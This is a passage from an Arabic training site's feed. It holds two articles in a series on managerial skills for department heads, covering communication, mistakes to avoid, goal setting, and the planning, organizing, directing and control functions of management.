3-    المقدرة على التحدث بشكل فاعل، ربما يكون لدى رئيس القسم أفكار متعددة وكثيرة، لكنه يستطيع ترتيب هذه الأفكار وتقديمها لمن يستمعون إليه بشكل سهل متميز.

4-    المقدرة على الاستماع، بالرغم من أهمية التحدث الفاعل إلا أنّ الاستماع الجيِّد يبعث رسالة واضحة إلى المتحدث باحترام السامع له.

5-    طريقة استعمال المكان والوقت، على الرغم من إهمال هذا العنصر المهم في معظم الأوقات، إلا أن استعمال المكان وكذلك الوقت المناسب لتوجيه الناس له أهمية كبيرة في إيصال الأفكار وتقوية العلاقات بين الرئيس والتابعين.

6-    المقدرة على استيعاب الآخرين، المقدرة على فهم الآخرين وما يتعلق بشخصياتهم وطموحاتهم تمكن رئيس القسم  من حسن التعامل معهم وسهولة توجيههم نحو أهدافه التي يرغب الوصول إليها.

إنّ رؤساء الأقسام الذين يستطيعون تنمية مقدرتهم حسب النقاط المذكورة أعلاه يستطيعون – وبدون شك – أن يكونوا ناجحين في معظم نواحي حياتهم، والسبب في ذلك أنهم يكونوا دوماً على اتصال أفضل بتابعيهم.

 

ستة أخطاء لا تُغتفر لرئيس القسم :

  • التفرقة بين العاملين لأي سبب من الأسباب، ويجب عدّ كل موظف كحالة مستقلة.
  • فقدان الثقة المتبادلة مع الموظف، وذلك بقطع الوعود ثم الحنث فيها.
  • تغيير رأيك أو موقفك بدون سبب مقنع أو وجية.
  • عدم اتباع السياسات والإجراءات الأساسية للشركة عند التعامل مع مشاكل الموظفين.
  • فقدان المظهر الهادئ أمام الآخرين، لذا يجب أن تتحكم بأعصابك حتى لا تفسد علاقاتك.
  • إقامة علاقة شخصية مع أحد مرؤوسيك حتى لا يؤثر على أدائك وقراراتك وسمعتك.

مهارات رؤساء الأقسام في صياغة الأهداف وتحقيق الإشراف الفعال

  

ماهية الأهداف :

========

ينظر للأهداف على مستوي المنظمة علي أنها :تعتبر بمثابة الآمال أو الغايات التي تسعى المنظمة أو المشروع لتحقيقها .

وعلى مستوي الأقسام تعتبر الأهداف بمثابة الآمال أو الغيات التي يسعي القسم إلي تحقيقها ضمن منظمومة الأهداف على مستوي الإدارة وعلى مستوي المنظمة .

 

وعلى ذلك فإن الأهداف :

 

  • تحدد مالذى يجب تحقيقه ؟
  • تحدد الإطار الزمنى لتحقيق النتائج ؟
  • تحدد من الذي يقوم بالتنفيذ ؟

 

وقد تكون الأهداف شاملة Goals: بمعنى ما تسعى المنظمة إلى تحقيقه على المدى البعيد.وهى أهداف عامة توضع بصفة مجردة مثل : زيادة حجم الطلب على المنتجات أوالخدمات التى تقدمها الشركة،…

 

وقد تكون الأهداف تفصيلية Objectives:وهى التي تسعى المنظمة تحقيقها على المستوى التشغيلي مثل تحقيق 10% نمو في حجم الطلب على المنتجات أو الخدمات التي تقدمها الشركة كل ثلاث شهور ،..

 

أهمية وضع الأهداف :

=============

ترجع أهمية وضع الأهداف إلى ما يلي :

  • الأهداف تعتبر من أهم عناصر التخطيط .
  • الأهداف تعتبر مرشدا لإتخاذ القرارات .
  • تساعد الأهداف في المستويات العليا على وضع الأهداف في المستويات التالية .
  • يساهم وجود الأهداف في تحديد مراكز المسئولية .
  • تساهم الأهداف في عملية تفويض السلطة
  • تساعد الأهداف في بيان نوعية العلاقات السائدة بالمنظمة وعلاقتها ببيئتها
  • تساهم الأهداف في وضع المعايير والمقاييس
  • تساعد الأهداف في تقييم أداء الأفراد .

 

أهم العناصر التي يجب أن يتضمنها الهدف:

========================

  • فعل الأمر المطلوب أي العمل المطلوب إنجازه .
  • التوقيت الزمني .
  • الموارد اللازمة (قيد الموارد ) .
  • المواصفات المطلوبة (معيار الجودة ) .

 

أهم الإعتبارات التي يجب مراعاتها عند صياغة الأهداف :

================================

 

1- القابلية للقياس الكمي :

 

إذ يجب أن تخضع الأهداف إلى القياس الكمي قدر الإمكان ، حتى يمكن التحقق من الوصول إليها ، وإن كانت هناك بعض الأهداف من الصعب قياسها كميا ، كتحقيق الرضا الوظيفي ، والالتزام بالمسئولية الاجتماعية …

 

 

 

2- الوضوح والبساطة والقابلية للفهم :

 

يجب أن تكون الأهداف واضحة ومفهومة وخاصة لكل من واضعيها ومنفذيها ، ويحبذ الكثيرون أن تكون الأهداف مكتوبة وبلغة متعارف عليها لأعضاء التنظيم .

 

3- الموضوعية الواقعية :

 

يجب أن تكون الأهداف موضوعية وقابلة للتحقيق وتمثل مصالح مختلف الأطراف بصورة عادلة ولا تميل إلى (الذاتية ) أو تتأثر بالأشخاص والمصالح المنفردة ، فتراعى الأهداف التنظيمية بالتكامل مع الأهداف الفردية ، وتراعى مصالح المنظمة بالتناسق مع مصلحة البيئة ، وتراعى المصالح على المدى الطويل بالترابط مع المدى القصير …وهكذا .

 

4- الارتباط بعنصر الزمن :

 

يجب أن يتم ربط الأهداف بعنصر الزمن ، أي ترتبط بمواعيد زمنية محددة لها بداية ونهاية معلومة ، ولهذا يقال خطط طويلة الأجل (5 –10 سنوات تقريبا) ،وخطط متوسطة الأجل (2-5سنة تقريبا) ، وخطط قصيرة الأجل ( في حدود سنة تقريبا) ، ولكل نوع من هذه الخطط الأهداف التي يتم السعي إلى تحقيقها .

 

5- مشاركة العاملين في وضع الأهداف :

 

ويفضل اشتراك من سيتولى تحقيق الأهداف كلما أمكن ذلك ، مما ييسر أداء المهام والوظائف لوضوح الأهداف وفهمها من قبل الجميع .

 

6- الانسجام والترابط بين الأهداف :

 

 ينبغي ألا تكون الأهداف متعارضة خاصة ما بين الهدف الرئيسي والأهداف الفرعية ، بحيث تمثل سلسلة منسجمة معا تقود المنظمة بمختلف جهودها لتحقيق أغراضها الرئيسية بما يؤدى لتحقيق رسالتها .

 

 

 

 

تصنيفات الأهداف :

============     

  • الأهداف الرئيسية والأهداف الفرعية :
  • الأهداف الرئيسية :

 وهي تلك الأهداف التي لا تحتاج إلى التدليل على سبب وجودها بل يكتفي بذكرها للتدليل عليها ، وذلك مثل هدف ( تعظيم حجم الطلب على منتجات أو خدمات الشركة ،.. ) .

  • الأهداف الفرعية :

تمثل أهدافا ذات طبيعة وسيطة ولها أهمية كبيرة في سبيل تحقيق الأهداف الرئيسية ، وذلك مثل هدف (تحسين جودة المنتجات المقدمة ، رفع كفاءة الموارد البشرية ، تفعيل برامج الترويج ، …).

 

(2) الأهداف الفردية والأهداف التنظيمية:

 

  • الأهداف على مستوى الفرد: لكل فرد مجموعة فريدة من الأهداف المميزة والمحددة، ويمكن الاستعانة بنموذج تدرج الحاجات لـ(مازلو) في التعرف على الأهداف التي يسعى الفرد لتحقيقها، حيث يحدد كل فرد في كل مستوى من تلك المستويات إلى عدة أهداف يسعى إليها .

 

  • الأهداف على مستوى التنظيم( المشروع ):

 هناك اختلافا حول تصنيفات الأهداف التي يجب أن تسعى المنظمة إلى تحقيقها ويمكن بيان أهم تلك التصنيفات فيما يلي :

 

  • الموقف التسويقي:

 تسعى منظمات الأعمال إلى السيطرة على نصيب معين من السوق بما يمكنها من قياسه لتحقيق غاياتها..

 

  • الإبداع والتجديد: يجب أن تحدد المنظمة معايير لمنتجاتها الجديدة ، وما يجب أن تضيفه من طرق وأساليب لوظائفها الإنتاجية والتسويقية ، وسبل تخفيض التكاليف وإدارة الأموال،ومجالات تنمية الموارد البشرية بها.

 

 

 

  • أنشطة الترويج : يجب أن يضع المشروع بعض الأهداف التي تمكنه من قياس كفاءة استخدام موارده المتاحة في إتمام العديد من الأنشطة الترويجية .

 

(4)   الموارد المالية والمادية : يهتم التنظيم بوضع المعايير التي تساعده على استغلال موارده المالية والمادية أفضل استغلال ممكن.

 

(5)   الإنجاز الإداري والتطوير:إذ يجب تعريف كيف سيقوم المدير بتوقع الأداء وكيف يمكن قياسه من خلال معايير وبرامج التنمية.

 

(6)   الربحية / النواتج المحققة : تسعى منظمات الأعمال لبناء معايير تسهم في قياس العائد على الاستثمارات والتي يمكن الوقوف عليها من خلال العديد من المعدلات والنسب.

 

(7)   إنجاز العاملين واتجاهاتهم: يجب تحديد مستويات أداء محددة لقياس أداء العاملين ، والوقوف على أنماط ومستويات اتجاهاتهم نحو العمل والأداء. فلا يمكن الحكم على أداء فرد داخل المنظمة إلا إذا كان هناك معدل أداء محدد مسبقا ومطلوب من الفرد إنجازه في وقت معين .

 

(8)   المسئولية العامة: حيث يجب الأخذ في الإعتبار عند صياغة الأهداف التي يسعى مشروع ما لتحقيقها ، أن تكون هناك أهداف تتعلق بقياس الدور الاجتماعي للمشروع وآثار الأنشطة التى تمارس ومكانتها في المجتمع المحيط .

 

*   *   *

انتهت بحمد الله المقالة الثانية من مسار كيم التعليمى للمهارات الإدارية لرؤساء الأقسام

إعداد / مركز كيم

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – المهارات الإدارية لرؤساء الأقسام – إعداد/ مركز كيم – المقالة الثانية appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/administrative_skills_for_heads_of_departments-2/feed/ 0 سلسلة مقالات – المهارات الإدارية لرؤساء الأقسام – إعداد/ مركز كيم – المقالة الأولى https://cameknowledge.camecenter.com/articles/administrative_skills_for_heads_of_departments-1/ https://cameknowledge.camecenter.com/articles/administrative_skills_for_heads_of_departments-1/#respond Fri, 07 Apr 2023 13:41:30 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10402 سلسلة مقالات – المهارات الإدارية لرؤساء الأقسام إعداد/ مركز كيم  المقالة الأولى العملية الإدارية والدور الفعال لرؤساء الأقسام في تحقيقها ما هي الإدارة هي عملية اجتماعية مستمرة تعمل على استغلال الموارد المتاحة استغلالا أمثل للوصول إلى هدف محدد   . ونشتق من هذا التعريف المفاهيم الهامة الآتية : الإدارة عملية : أي أنها نشاط حركي […]

The post سلسلة مقالات – المهارات الإدارية لرؤساء الأقسام – إعداد/ مركز كيم – المقالة الأولى appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – المهارات الإدارية لرؤساء الأقسام

إعداد/ مركز كيم 

المقالة الأولى

العملية الإدارية والدور الفعال لرؤساء الأقسام في تحقيقها

ما هي الإدارة

هي عملية اجتماعية مستمرة تعمل على استغلال الموارد المتاحة استغلالا أمثل للوصول إلى هدف محدد   .

ونشتق من هذا التعريف المفاهيم الهامة الآتية :

الإدارة عملية :

أي أنها نشاط حركي ، يتكون من مجموعة من الممارسات ، وتدل لفظة ” عملية ” على أن الممارسات مرتبطة ببعضها وتقوم بينها علاقة متدخلة تتميز بالتأثر والتأثير  .  

عملية اجتماعية :

وهذا يعني أن هناك عدد من الناس يشتركون في تحقيق الهدف المطلوب فالإدارة تنظم علاقات هؤلاء الأفراد . والمفهوم الاجتماعي يعني أيضاً أن جميع أنشطتها موجهة  أيضا لخدمة الناس .  

عملية مستمرة :

بمعني أنه طالما كان هناك مجتمع يعيش فيه أفراد يحتاجون لسلع وخدمات ، فإن الإدارة تمارس نشاطها في هذا المجتمع . فالإدارة إذن مستمرة باستمرار المجتمع الذي تعيش فيه  .

الموارد المتاحة :

يلزم الإدارة لكي تمارس أنشطتها مجموعة من الموارد . وتنحصر هذه الموارد في ثلاثة أنواع بشرية ومادية ومعنوية

عملية هادفة :

تقوم الإدارة بتشغيل الموارد المتاحة لتحقيق أهدافها . ومن  الأهمية بمكان أن تضع الإدارة أهدافها بصورة موضوعية وعادلة بحيث تراعي متطلبات مختلف الأطراف سواء بداخل المنظمة أو خارجها  .

 

وتتمثل أهم عناصر العملية الإدارية فيما يلي :

  • مهارة التخطيط الفعال .
  • مهارة التنظيم الفعال .
  • مهارة التوجيه الفعال .
  • مهارة الرقابة الفعالة .

 

وفيما يلي نقوم بإعطاء فكرة عامة ومجملة عن عدد من المهارات السابقة :

1- مهارات التخطيط الفعال :

      تتضمن عملية التخطيط التفكير الواعي ، والتقرير بما ينبغي عمله خلال الفترة القادمة ؟ وكيف يمكن أن يتم إنجاز ذلك ؟ ومتى ؟ ومن خلال من ؟ والتخطيط بهذا المعنى تحاول الإدارة من خلاله أن تسد الفجوة بين الموقف الحالي وبين الموقف الذي تطمع في الوصول إليه مستقبلا . وعلى ذلك فإن التخطيط كوظيفة من وظائف الإدارة يتضمن التحديد الواضح والدقيق الآن لما سيتم تنفيذه خلال فترة مقبلة .

 

     والخطوة الأولى في العملية التخطيطية هي تحديد الأهداف التنظيمية (الأهداف الإستراتيجية والأهداف الفرعية ) المطلوب تحقيقها لأن ذلك من شأنه أن يوجه الجهد الجماعي نحو شئ واضح ومعلوم . ومتى تم صياغة الأهداف فإن الأمر يتطلب اتخاذ القرار بخصوص المدخل الذي ينبغي اختياره لتحقيق تلك الأهداف في ضوء تصور متكامل للظروف والإمكانات الداخلية للمنظمة وظروفها الداخلية في علاقتها ببيئتها وهذه الخطوة يطلق عليها التخطيط الاستراتيجي .

 

     والخطة الاستراتيجية للمنظمة يتم تجزئتها إلى مجموعة من الخطط التنفيذية مع وضع السياسات والإجراءات والقواعد التي ينبغي الاسترشاد بها عند تنفيذ تلك الخطط لتحقيق الأهداف المنشودة .

 

     وبالرغم من أن المستقبل لا يمكن التنبؤ بما سيحدث فيه كليةً ، إلا أن ذلك ينبغي ألا يثني الإدارة عن ضرورة الاهتمام بالتخطيط لأن العمل من خلال أي تخطيط مهما كان سيئا هو أفضل بكثير من العمل الارتجالي الذي لا يرتكز على أية رؤية مستقبلية ولحسن الحظ فإن تقدم أساليب التحليل الإحصائي والحاسبات الآلية وغيرها من أساليب الدراسات الكمية أصبح يساعد إلى حد كبير في تقليل احتمالات الخطأ بالنسبة لتقديرات المستقبل خاصة الأحوال الاقتصادية ونشاط الأعمال .

مزايا التخطيط :

  • أن التخطيط يتم قبل التنفيذ بفترة وبالتالي يكون هناك متسعا من الوقت لدراسة التكلفة والعائد من السلعة أو الخدمة المقدمة .
  • أن التخطيط يساعد على التنبؤ بالصعاب ، وبالتالى اتخاذ الإجراءات الكفيلة للتغلب عليها .
  • التخطيط يساعد على محو الإسراف .
  • التخطيط يساعد على رفع الكفاءة الإنتاجية .
  • التخطيط يساعد على القيام بوظيفة الرقابة .

العوامل المؤثرة في التخطيط :

  • مهارة الإدارة .
  • الموارد المتاحة .
  • الوقت المتاح .
  • نوع المشاكل التي يتم التخطيط لها .
  • الظروف البيئية المحيطة .
  • إستخدامات الخطط .

مؤشرات فعالية التخطيط :

  • درجة تحقق الأهداف .
  • سلامة الطرق والأساليب المؤدية إلى تحقيق الأهداف .

 

2- مهارات التنظيم الفعال :

يقصد بالتنظيم كوظيفة إدارية تحديد جميع أوجه النشاط اللازمة لتحقيق أهداف المنظمة ، ثم إسنادها لأفراد مناسبين للقيام بها مع ضمان تحقيق التنسيق فيما بينهم البعض ، مع تحقيق التنسيق بينهم وبين الرئيس الأعلى .

فحينما يشترك مجموعة من الأفراد في تحقيق هدف معين فإن هذا الهدف لا يمكن أن يتحقق ما لم يكن هناك دور واضح ومحدد لكل فرد من هذه الجماعة ، وما لم يكن هناك تنسيق بين تلك الأدوار يساعد في تعبئة كل الجهود لتحقيق الهدف المنشود فإذا اشترك بعض الأفراد مثلا في إقامة معسكر للصيد ، فإذا ترك كل فرد وشأنه يعمل ما يحلو له فقد ينصرف جهد الأغلبية لبعض الأعمال السهلة في حين أن بعض الأنشطة التي قد تحتاج إلى مشقة مثل جلب الماء ، أو عمليات إعداد الطعام قد لا نجد من يهتم بها أو يقبل عليها . أما إذا بدأ العمل في المعسكر بتحديد واضح للأنشطة والأعمال الضرورية لإقامة المعسكر واستمراره مع تحديد واضح لدور كل فرد من الجماعة ، وتنظيم علاقة هذا الدور بالأدوار الأخرى ، فإن العمل في المعسكر سيسير في تكامل وانسجام . وهذا المثل يعبر بشكل مبسط عن مفهوم التنظيم باعتباره ذلك الجانب من وظائف الإدارة الذي يتعلق ببناء الهيكل الرسمي للأدوار التي ينبغي أن يقوم بها الأفراد الذين سيشاركون في تحقيق أهداف المنظمة ويتطلب ذلك مجموعة من الخطوات المتكاملة تشمل ما يأتي :

  • تحديد أوجه النشاط الضرورية لتحقيق الأهداف
  • تجميع هذه الأنشطة في وحدات إدارية يتحدد في كل منها الأعمال والوظائف اللازمة لإنجاز تلك الأنشطة .
  • تخصيص مدير مسئول لكل مجموعة متكاملة من الأنشطة وتفويضه السلطات الكافية للقيام بأعباء المهام الموكولة إليه .
  • تنظيم العلاقات الرأسية والأفقية بين مختلف الوحدات الإدارية بما يحقق التنسيق والتكامل في أداء مختلف الأنشطة لتحقيق أهداف المنظمة .

 

ونظرا لأن الهيكل التنظيمي ليس هدفا في حد ذاته ، بل هو وسيلة تحاول الإدارة من خلالها توفير البيئة الصالحة التي تساعد على تحقيق أفضل أداء للموارد الإنسانية المتاحة . لذلك ينبغي أن يراعى في تصميم الأدوار وتخصيصها قدرات الأفراد واهتماماتهم بحيث يعمل كل فرد في الموقع الذي يلائمه .

 

مبادئ وأسس التنظيم :

  • وحدة الهدف .
  • التخصص وتقسيم العمل .
  • التنسيق .
  • تدرج السلطة .
  • وحدة القيادة .
  • تحديد الاختصاصات الوظيفية .
  • نطاق الإشراف .
  • المركزية واللامركزية .
  • تحديد الخدمات الاستشارية .

 

3- مهارات التوجيه الفعال :

        يقصد بوظيفة التوجيه الوظيفة الإدارية التي تختص بإرشاد العاملين أثناء القيام بتنفيذ الخطط الموضوعة مسبقاً .

        وتزداد الحاجة إلى التوجيه كلما قلت درجة التخطيط والتنظيم .

 

– خطوات القيام بوظيفة التوجيه :

  • ترجمة الخطط العليا إلى خطط فرعية وأوامر .
  • إصدار الآوامر والتعليمات .
  • الإشراف على المجهودات الحالية .
  • حفز المجهودات الحالية .

وعند ترجمة الخطط العليا إلى خطط فرعية يجب الأخذ في الحسبان ما يلي :

  • إحتياجات الرئيس الأعلى .
  • قدرات المرؤوسين .
  • زملاءه من المديرين .
  • البيئة الخارجية .

 

4- تكوين الكفايات البشرية :

      بعد أن تكفلت وظيفة التنظيم بتحديد الأدوار ، فإن وظيفة تكوين وتنمية الكفايات تتعلق بتحديد الاحتياجات من الأفراد اللازمين للقيام بتلك الأدوار ،وما هي المصادر التي يمكن الحصول منها على تلك الاحتياجات ، وكيف يمكن الاتصال بتلك المصادر ثم إجراء عمليات المفاضلة بين المتقدمين لاختيار أنسب العناصر وتحديد الكيفية التي سيتم من خلالها مكافأتهم وتقويم أدائهم ووضع الخطط المناسبة للتدريب والتنمية لضمان المحفظة على قوة عمل عالية الكفاءة.

5- مهارات الرقابة الفعالة :

      إن الهدف الرئيسي من نشاط الرقابة هو التأكد من أن كل شئ يسير في الطريق الصحيح وفقا لما هو مرسوم له وفقا للخطط والأهداف المرسومة .

     ونظرا لأن المعنى العام للرقابة يتضمن قياس ما تم إنجازه ومقارنته بما ينبغي أن يتحقق وتحديد الانحراف ثم إتخاذ الإجراءات الضرورية لتصحيح هذا الانحراف ، فإن ذلك قد يدفع البعض إلى الفهم الخاطئ بأن الرقابة هدفها دائما البحث عن الأخطاء وأن نشاطها يبدأ عادة بعد التنفيذ ، وهذا في الواقع فهم خاطئ لمفهوم الرقابة ، فالرقابة تهدف بالدرجة الأولى إلى منع وقوع الخطأ ، وهذا يعنى أن نشاطها لا يبدأ بعد التنفيذ الفعلي ، وإنما هو سابق عليه ، وأثناء التنفيذ الفعلي أيضا .

 

     وقد يوجد في بعض المنظمات وظيفة متخصصة في الإدارة المالية تسمى وظيفة ( المراقب المالي) وهذا بالطبع لا يلغي مسئولية باقي المديرين في وظيفة الرقابة التي لا تقف في معناها الواسع عند مجرد الرقابة  المالية فقط .

إن مجرد توافر الأفراد لا يكفى في الواقع لتحقيق الهدف إذ لابد من حثهم وحفزهم على المشاركة الإيجابية والفعالة في تحقيق الأهداف ، وهذا هو أحد الجوانب الأساسية لوظيفة الإدارة ، والذي يطلق عليه القيادة ، والمدير من خلال هذا الجانب يرشد الآخرين ويوجههم لما ينبغي أن تكون عليه نوع ومستوى مساهماتهم ، وأن يقنعهم بأن من مصلحتهم العمل على كثب لتحقيق أهداف المنظمة ، وأن يكون هذا الاقتناع من خلال الاهتمام بدراسة دوافعهم وإيجاد علاقة منطقية وعادلة بين فرص إشباع الدوافع ،  وما يحققونه من مستويات الأداء والإنجاز .. وهكذا نجد أن قدرة المدير على القيام بتلك الوظيفة بكفاءة يعتمد على مدى قدرته في إحداث التأثير من خلال الإقناع ، وعلى مدى وجود نظام كفء لكل من الاتصالات والتحفيز . وفيما يلي جدول يوضح الفرق بين القيادة والإدارة .

 

التكامل في عناصر العملية الإدارية :  

     إذا نظرنا إلى عناصر العملية الإدارية نجد أنها ترتبط مع بعضها البعض في نظام متكامل كما هو مبين بالشكل رقم ( 1 )

شكل رقم( 1)

يوضح التكامل بين وظائف الإدارة .

 

                                               التخطيط

 

 

                                الرقابة                       التنظيم

 

 

 

                                     

 

                               تنمية الكفايات           التوجيه

 

     فمن خلال وظيفة التخطيط تتحدد الأهداف التي ينبغي أن توجه إليها الجهود سواء في الأجل القصير أو في الأجل الطويل ، ثم يلي ذلك تحديد الأنشطة والأعمال ومن ثم الأدوار اللازمة لتحقيق تلك الأهداف من خلال وظيفة التنظيم ثم اتخاذ الخطوات التي من شأنها تدبير وتنمية الكفاءات البشرية اللازمة للقيام بتلك الأدوار من خلال وظيفة التوظيف ، ثم إرشاد وتوجيه تلك الكفاءات للطريق الصحيح نحو الهدف من خلال وظيفة القيادة ، ثم التأكد من أن كل التصرفات والأحداث تسير وفقا لما هو مرسوم لها من خلال وظيفة الرقابة والتي قد تسفر نتائجها عن الحاجة إلى إدخال بعض التعديلات على التخطيط ، أو التنظيم ، أو التوظيف ، أو عمليات القيادة والتوجيه ، أو حتى على نشاط الرقابة ذاته . وهكذا تستمر العملية في تناسق وتكامل بحيث يصبح من الصعب خلال الممارسة الفعلية للمنظمة تحديد نقطة بداية أو نهاية معينة للعملية الإدارية . 

ضرورة الوظائف الإدارية للمديرين في كل المستويات :

     ليس هناك أدنى شك في أن المديرين في كل المستويات الإدارية يقومون بنفس الوظائف الخمس السابق الإشارة إليها ، فهي جميعا لازمة لكل منهم ، ولكن الاختلاف فيما بينهم عند الممارسة يكون في طبيعة الوظيفة ، ومقدار الوقت الذي يخصصه كل منهم لها . ففي المستويات الإدارية العليا نجد أن عمليات التخطيط والرقابة تتناول الإجماليات والأهداف العامة ويغلب التخطيط طويل الأجل ، وعلى النقيض من ذلك نجد أن عمليات التخطيط الرقابة في المستويات الدنيا تركز على التفاصيل والأحداث اليومية .

     كذلك يختلف مقدار الوقت الذي يخصصه كل مستوى لمختلف جوانب العملية الإدارية . ففي المستويات الإدارية الدنيا يخصص جانب كبير من الوقت لعمليات الفحص والمراجعة والإشراف على التنفيذ المباشر ، ومن ثم فإنهم ينفقون الجزء الأكبر من الوقت في عمليات التوجيه والرقابة بينما المديرون في المستويات العليا بحكم عدم ارتباطهم المباشر بمواقع التنفيذ الفعلي للعمليات يخصصون وقتا أكبر لعمليات التخطيط والتنظيم كما يتضح في شكل ( 2 ) :

 

شكل رقم ( 2)

يوضح العلاقة بين وظائف الإدارة والمستويات الإدارية

 

                    الإدارة الدنيا       الإدارة الوسطى     الإدارة العليا

 

 

التوجيـه                                                                    التخطيط

والرقابة                                                                     والتنظيم     

ضرورة الوظائف الإدارية للمديرين أيا كان نشاطهم الوظيفي :

      حتى تحقق أي منظمة أهدافها فلابد لها أن تقوم بالعديد من الأنشطة الضرورية فإذا كانت الشركة تتولى إنتاج السيارات مثلا فلابد لها أن تدرس احتياجات المستهلك من حيث نوع المنتجات والشكل واللون والقوة والمتانة وسهولة الأداء وحجم الطلب وظروف المنافسة ومنافذ التوزيع ، وكل ذلك يمكن أن يتم من خلال وظيفة التسويق .وإنتاج السيارة المطلوبة يحتاج إلى وضع التصميمات الفنية للسيارة وتجهيز المصنع بالآلات والمعدات وتحديد الاحتياجات من المواد الخام ولوازم الإنتاج ووضع جداول الإنتاج ، كل ذلك مما يدخل في وظيفة الإنتاج . وبالطبع فإن بناء المصنع وشراء الآلات والمعدات ومستلزمات الإنتاج وأجور العاملين ونفقات البحوث كل ذلك يمثل تكاليف مالية يقابلها الإيرادات المحصلة من المبيعات وهذا ما تضطلع به وظيفة التمويل ، كما أن أي منظمة لا غنى لها عن الأفراد من حيث التخصصات اللازمة والعدد المناسب من كل تخصص بالكفاءة المطلوبة وهذا ما تقوم به وظيفة الأفراد أو النوارد البشرية ، وهكذا نجد أنه بالنسبة لأي منظمة لابد أن تمارس العديد من الوظائف أهمها : الإنتاج والتسويق والتمويل والأفراد سواء كانت هذه المنظمة تنتج سلعا كشركات إنتاج السيارات والملابس والأجهزة والمعلبات الغذائية ، أو تنتج خدمات كما في حالة شركات الطيران ، والبنوك ، وشركات التأمين ، وشركات السياحة ، وأجهزة تنظيم الأسرة .

     وبغض النظر عن التسمية التي قد تأخذها الوظائف الأربعة السابقة تبعا لطبيعة نشاط كل شركة ، فإن ممارسة هذه الأنشطة الرئيسية عادة ما يحتاج إلى القيام ببعض الأنشطة الفرعية الأخرى كنشاط الشراء والتخزين والصيانة ، والعلاقات العامة وغيرها.

     وممارسة تلك الأنشطة سواء الرئيسية منها أو الفرعية عادة ما يتم في إطار وحدة إدارية معينة يتضمنها الهيكل التنظيمي للمنظمة أو للمشروع ، ويكون على رأس كل منها مدير مسئول يتبعه عدد من المستويات الإشرافية . وما نريد أن نؤكده هنا أن كل مدير يمارس نفس عناصر العملية الإدارية في مجال نشاطه الوظيفي . ففي نشاط الإنتاج ، لابد من تخطيط العمليات الإنتاجية في ضوء الأهداف العامة للمنظمة ، وتنظيم جهاز الإنتاج ، وتحديد الاحتياجات من الأفراد ، وتوجيههم وتحفيزهم ، ورقابة العمليات بالشكل الذي يساعد على تحقيق الأهداف المطلوب إنجازها . وما يتم بالنسبة لنشاط الإنتاج يتم أيضا بالنسبة لنشاط التسويق والتمويل وغيرها من الأنشطة . ويوضح الشكل رقم (3) طبيعة العلاقة بين عناصر العملية الإدارية والأنشطة الوظيفية للمنظمة.

شكل رقم ( 3 )

يوضح العلاقة بين وظائف الإدارة ووظائف المنظمة

       عناصر العملية

وظائف        الإدارية  

المنظمة

 التخطيط التنظيم التوجيه تكوين الكفايـات القيادة الرقابة
نشاط الإنتاج .

نشاط التسويق .

نشاط التمويل .

نشاط الأفراد .

 ×

×

×

×

 ×

×

×

×

 ×

×

×

×

 ×

×

×

×

 ×

×

×

×

 ×

×

×

×

 

*   *   *

انتهت بحمد الله المقالة الأولى من مسار كيم التعليمى للمهارات الإدارية لرؤساء الأقسام

بقلم  الدكتور / محمود الضابط  – كلية التجارة جامعة عين شمس

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – المهارات الإدارية لرؤساء الأقسام – إعداد/ مركز كيم – المقالة الأولى appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/administrative_skills_for_heads_of_departments-1/feed/ 0